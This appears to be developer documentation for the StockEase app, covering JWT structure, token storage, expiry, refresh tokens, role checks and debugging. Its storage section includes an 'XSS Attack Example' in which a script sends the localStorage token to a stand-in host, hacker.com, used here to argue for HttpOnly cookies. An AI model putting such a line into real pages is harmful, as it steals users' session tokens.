JWT Token Handling & Authorization

What is JWT?

JWT = JSON Web Token

A JWT is a compact, self-contained token format used for secure transmission of claims between parties. In StockEase, it's used to:

  • Authenticate requests (prove user is logged in)
  • Authorize requests (determine what user can access)
  • Stateless authentication (server doesn't need to store session data)

JWT Structure

A JWT consists of 3 Base64-encoded parts separated by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiUk9MRV9BRE1JTiIsImV4cCI6MTczMjEzOTIwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

↑ Header               ↑ Payload              ↑ Signature
Part 1                Part 2                 Part 3

Part 1: Header

What it is: Metadata about the token

Example (Base64 decoded):

{
  "alg": "HS256",
  "typ": "JWT"
}

Explanation:

  • alg β€” Algorithm used to sign token (HS256 = HMAC-SHA256)
  • typ β€” Token type (always JWT)

How to decode:

const header = token.split('.')[0];  // "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9"
const decoded = JSON.parse(atob(header));
// { alg: "HS256", typ: "JWT" }

Part 2: Payload (Claims)

What it is: The actual data (claims) about the user

Example (Base64 decoded):

{
  "user": "admin",
  "role": "ROLE_ADMIN",
  "email": "admin@stockease.com",
  "iat": 1732052800,
  "exp": 1732139200
}

Standard Claims:

  • iat β€” Issued At (when token was created, in Unix timestamp)
  • exp β€” Expiration (when token expires, in Unix timestamp)

Custom Claims (StockEase):

  • user β€” Username
  • role β€” User role (ROLE_ADMIN, ROLE_USER)
  • email β€” User email (optional)

How to decode:

const payload = token.split('.')[1];  // "eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiUk9MRV9BRE1JTiJ9"
const decoded = JSON.parse(atob(payload));
// { user: "admin", role: "ROLE_ADMIN", iat: 1732052800, exp: 1732139200 }

⚠️ Security Note:

  • Payload is Base64 encoded (easily readable)
  • NOT encrypted β€” anyone can see the claims
  • Never put secrets in the payload
  • Never put passwords in the payload
  • Backend will validate the signature to ensure claims haven't been tampered with

Part 3: Signature

What it is: Proof that the token is legitimate and hasn't been altered

Generated by backend:

HMAC-SHA256(
  base64(header) + "." + base64(payload),
  secret_key
)

How it works:

  1. Backend combines header and payload
  2. Hashes them using HMAC-SHA256 algorithm
  3. Uses secret key (only backend knows)
  4. Result is the signature

Why it matters:

  • Backend can verify token wasn't forged
  • If hacker changes payload, signature becomes invalid
  • If hacker tries to create fake token, they don't know secret key

Frontend doesn't verify signature:

  • Frontend just decodes and reads claims
  • Backend verifies signature on every request
  • If signature invalid β†’ 401 Unauthorized

Token Generation Flow

User submits login form
  ↓
Backend checks database
  └─ Find user by username
  └─ Hash password, compare to stored hash
  └─ If match β†’ proceed
  └─ If no match β†’ return 401
  ↓
Backend generates JWT:
  └─ Create header: { alg: "HS256", typ: "JWT" }
  └─ Create payload: { user: "admin", role: "ROLE_ADMIN", exp: now + 24h }
  └─ Sign payload with secret key
  └─ Base64 encode all parts
  ↓
Backend returns token
  ↓
Frontend stores in localStorage
  ↓
Frontend attaches to every API request

Token Storage

Current Implementation (localStorage)

// After successful login
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...');

// Later, when making requests
const token = localStorage.getItem('token');
// token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'

Advantages:

  • βœ… Easy to implement
  • βœ… Works across browser tabs
  • βœ… Survives page refresh
  • βœ… Survives app restart

Disadvantages:

  • ❌ Vulnerable to XSS attacks
  • ❌ Can be accessed by JavaScript
  • ❌ No automatic HttpOnly flag

XSS Attack Example:

// Malicious script injected in page
var token = localStorage.getItem('token');
fetch('https://hacker.com/steal?token=' + token);
// Hacker now has your token!
// Backend sets token in HttpOnly cookie
res.setHeader('Set-Cookie', [
  'token=eyJhbGci...; HttpOnly; Secure; SameSite=Strict'
]);

// Frontend cannot access token directly
var token = document.cookie;  // Returns "" (empty)

// But token is automatically sent with every request
fetch('/api/products')  // Cookie automatically included

Advantages:

  • βœ… Not accessible to JavaScript
  • βœ… Mitigates XSS attacks
  • βœ… Automatic transmission with requests
  • βœ… Backend can set HttpOnly flag

Implementation requires:

  • Backend support for cookies (CORS credentials)
  • Frontend to send credentials with requests
// Frontend (if using cookies)
const apiClient = axios.create({
  baseURL: API_URL,
  withCredentials: true  // ← Include cookies
});

Token Usage

Attaching Token to Requests

In API Client (src/services/apiClient.ts):

apiClient.interceptors.request.use(
  (config) => {
    // Get token from localStorage
    const token = localStorage.getItem('token');
    
    // Add Authorization header
    if (token) {
      config.headers.Authorization = `Bearer ${token}`;
    }
    
    return config;
  }
);

Request with token:

GET /api/products HTTP/1.1
Host: api.stockease.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Verifying Token on Backend

Backend flow (pseudo-code):

# Endpoint: GET /api/products
def get_products(request):
    # Extract token from Authorization header
    auth_header = request.headers.get('Authorization')
    # auth_header = "Bearer eyJhbGc..."
    
    # Validate header format
    if not auth_header or not auth_header.startswith('Bearer '):
        return Response(status=401, message="Missing or invalid token")
    
    # Extract token
    token = auth_header.replace('Bearer ', '')
    
    # Verify signature
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
        # payload = { user: "admin", role: "ROLE_ADMIN", exp: 1732139200 }
    except jwt.ExpiredSignatureError:
        return Response(status=401, message="Token expired")
    except jwt.InvalidSignatureError:
        return Response(status=401, message="Invalid token")
    
    # Check expiration
    if payload['exp'] < current_timestamp():
        return Response(status=401, message="Token expired")
    
    # Token valid, proceed with request
    user = payload['user']
    role = payload['role']
    
    # Check authorization (can user access this endpoint?)
    if role != 'ROLE_ADMIN' and route_requires_admin():
        return Response(status=403, message="Forbidden")
    
    # Execute business logic
    return get_user_products(user)

Token Expiration

Checking if Token is Expired

Frontend (optional):

export const isTokenExpired = (): boolean => {
  const token = localStorage.getItem('token');
  
  if (!token) {
    return true;  // No token = expired
  }
  
  try {
    // Decode payload
    const payload = JSON.parse(atob(token.split('.')[1]));
    
    // Get current time in seconds
    const now = Math.floor(Date.now() / 1000);
    
    // Compare expiration time
    return payload.exp < now;  // If exp is past, token is expired
  } catch (error) {
    return true;  // Invalid token = expired
  }
};

Usage:

// Before making API request
if (isTokenExpired()) {
  // Clear token and redirect to login
  localStorage.removeItem('token');
  navigate('/login');
} else {
  // Token still valid, proceed
  fetchProducts();
}

What Happens When Token Expires

User is logged in with valid token
  ↓
Token expires (24 hours pass)
  ↓
User tries to fetch data
  ↓
Frontend sends expired token in request
  ↓
Backend checks signature and expiration
  ↓
Backend: "Token is expired" β†’ 401 Unauthorized
  ↓
Response interceptor catches 401
  ↓
localStorage.removeItem('token')
  ↓
localStorage.removeItem('role')
  ↓
navigate('/login')
  ↓
User sees login page
  ↓
User must re-authenticate

Token Lifetime Configuration

Backend controls token lifetime:

# Backend generates token
payload = {
    'user': username,
    'role': role,
    'iat': datetime.utcnow(),           # Now
    'exp': datetime.utcnow() + timedelta(hours=24)  # 24 hours from now
}

Current default: 24 hours

Common durations:

  • Short-lived (1 hour) β€” Maximum security, frequent re-logins
  • Medium (4-8 hours) β€” Balance of security and UX
  • Long-lived (24+ hours) β€” Better UX, lower security
  • Very long (30+ days) β€” Remember me functionality (risky)

Authorization: Role-Based Access Control

Role System

StockEase uses role-based access control (RBAC):

Two roles:

  1. ROLE_ADMIN β€” Full access to all features
  2. ROLE_USER β€” Limited access

Token includes role:

{
  "user": "admin",
  "role": "ROLE_ADMIN"
}

Frontend Authorization

Check role before rendering:

import { useAuth } from '@hooks/useAuth';

const AdminDashboard: React.FC = () => {
  const { role } = useAuth();
  
  if (role !== 'ROLE_ADMIN') {
    return <ErrorBoundary error="You don't have permission to access this page" />;
  }
  
  return <div>Admin content...</div>;
};

How useAuth works:

export const useAuth = () => {
  const token = localStorage.getItem('token');
  const role = localStorage.getItem('role');
  
  return {
    isAuthenticated: !!token,
    role: role as UserRole,
    username: localStorage.getItem('username')
  };
};

Backend Authorization

Backend checks role on every request:

# Endpoint that requires ROLE_ADMIN
@app.route('/api/admin/users', methods=['GET'])
def get_all_users():
    # Extract token
    token = request.headers.get('Authorization').replace('Bearer ', '')
    
    # Decode token
    payload = jwt.decode(token, SECRET_KEY)
    role = payload['role']
    
    # Check authorization
    if role != 'ROLE_ADMIN':
        return Response(status=403, message="Forbidden")
    
    # User is authorized, proceed
    return get_users()

Authorization Errors

401 Unauthorized (authentication failed)

{
  "status": 401,
  "message": "Invalid or expired token"
}

Caused by:

  • Missing token
  • Invalid token signature
  • Expired token
  • Malformed token

Response: User redirected to login page

403 Forbidden (authentication OK, but authorization failed)

{
  "status": 403,
  "message": "Insufficient privileges"
}

Caused by:

  • User is authenticated but doesn't have required role
  • User trying to access admin endpoint but is regular user

Response: Show error page (don't show admin features)


Problem with Current Implementation

Current approach:

  • Token lasts 24 hours
  • No automatic refresh
  • User must login again after 24 hours
  • Poor user experience

Solution: Refresh Tokens

Implement two-token system:

  • Access Token β€” Short-lived (15 minutes)
  • Refresh Token β€” Long-lived (7 days)

Flow:

User logs in
  ↓
Backend returns:
  - Access token (15 min expiry)
  - Refresh token (7 day expiry)
  ↓
Frontend stores both tokens
  ↓
User makes request with access token
  ↓
After 15 minutes, access token expires
  ↓
Frontend detects 401, uses refresh token to get new access token
  ↓
Backend validates refresh token, returns new access token
  ↓
User's session continues without re-login
  ↓
After 7 days, refresh token expires
  ↓
User must login again

Implementation example:

// Response interceptor
apiClient.interceptors.response.use(
  (response) => response,
  async (error) => {
    const original = error.config;
    
    // If 401 and not already retrying
    if (error.response?.status === 401 && !original._retry) {
      original._retry = true;
      
      try {
        // Try to refresh token
        const response = await axios.post('/api/auth/refresh', {
          refreshToken: localStorage.getItem('refreshToken')
        });
        
        // Store new access token
        const { accessToken } = response.data;
        localStorage.setItem('token', accessToken);
        
        // Retry original request
        original.headers.Authorization = `Bearer ${accessToken}`;
        return apiClient(original);
      } catch (err) {
        // Refresh failed, logout
        localStorage.clear();
        window.location.href = '/login';
      }
    }
    
    throw error;
  }
);

Security Best Practices

βœ… DO:

  • βœ… Store token in localStorage or HttpOnly cookie
  • βœ… Send token via Authorization header
  • βœ… Use HTTPS (token encrypted in transit)
  • βœ… Implement token expiration
  • βœ… Implement token refresh
  • βœ… Clear token on logout
  • βœ… Never store sensitive data in payload
  • βœ… Validate token on every backend request

❌ DON'T:

  • ❌ Send token in URL query parameters
  • ❌ Send token in request body (unless necessary)
  • ❌ Use HTTP (unencrypted)
  • ❌ Store password in token
  • ❌ Use very long token lifetimes (24+ hours)
  • ❌ Rely only on frontend authorization checks
  • ❌ Log tokens in console/logs
  • ❌ Store token in sessionStorage (cleared on tab close)

Debugging JWT Tokens

View Token Contents

Online tool (for public inspection):

  • Go to https://jwt.io
  • Paste your token in the "Encoded" field
  • See header, payload, and signature decoded

⚠️ Warning: Never paste production tokens on public websites!

Decode Token in Frontend

export const decodeToken = (token: string) => {
  try {
    const parts = token.split('.');
    if (parts.length !== 3) {
      throw new Error('Invalid token format');
    }
    
    const header = JSON.parse(atob(parts[0]));
    const payload = JSON.parse(atob(parts[1]));
    
    return { header, payload, signature: parts[2] };
  } catch (error) {
    console.error('Failed to decode token:', error);
    return null;
  }
};

Usage:

const token = localStorage.getItem('token');
const decoded = decodeToken(token);

console.log('Token expires:', new Date(decoded.payload.exp * 1000));
console.log('User role:', decoded.payload.role);
console.log('Issued at:', new Date(decoded.payload.iat * 1000));

Check Token in Browser DevTools

// Open browser console (F12)
// Type:
localStorage.getItem('token')

// Returns:
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiUk9MRV9BRE1JTiJ9..."

// Copy and paste into jwt.io to decode

Common Issues

Issue 1: Token Not Sent with Requests

Symptom: All requests return 401 Unauthorized

Causes:

  • Token not stored in localStorage
  • API client not configured to add Authorization header

Fix:

// Check localStorage
console.log(localStorage.getItem('token'));  // Should not be null/empty

// Check API client has interceptor
// In apiClient.ts:
apiClient.interceptors.request.use(config => {
  const token = localStorage.getItem('token');
  if (token) {
    config.headers.Authorization = `Bearer ${token}`;
  }
  return config;
});

Issue 2: Token Expired

Symptom: Works fine for 24 hours, then all requests fail with 401

Cause: Token has expired (normal behavior)

Fix:

// Option 1: Implement token refresh (see section above)

// Option 2: Reduce token lifetime in backend
// Change from 24 hours to 8 hours for testing

// Option 3: Clear token and re-login
localStorage.clear();
navigate('/login');

Issue 3: XSS Attack (Token Stolen)

Symptom: Hacker accesses your account without logging in

Cause: Token stored in localStorage and stolen via XSS

Fix:

  • Migrate to HttpOnly cookies
  • Implement Content Security Policy (CSP)
  • Sanitize user inputs (prevent injected scripts)
  • Use secure libraries (avoid custom auth)

  • Login Page: src/pages/LoginPage.tsx
  • Auth Service: src/api/auth.ts
  • API Client: src/services/apiClient.ts
  • Auth Hook: src/hooks/useAuth.ts
  • Type Definitions: src/types/User.ts

Last Updated: November 13, 2025
Status: Production-Ready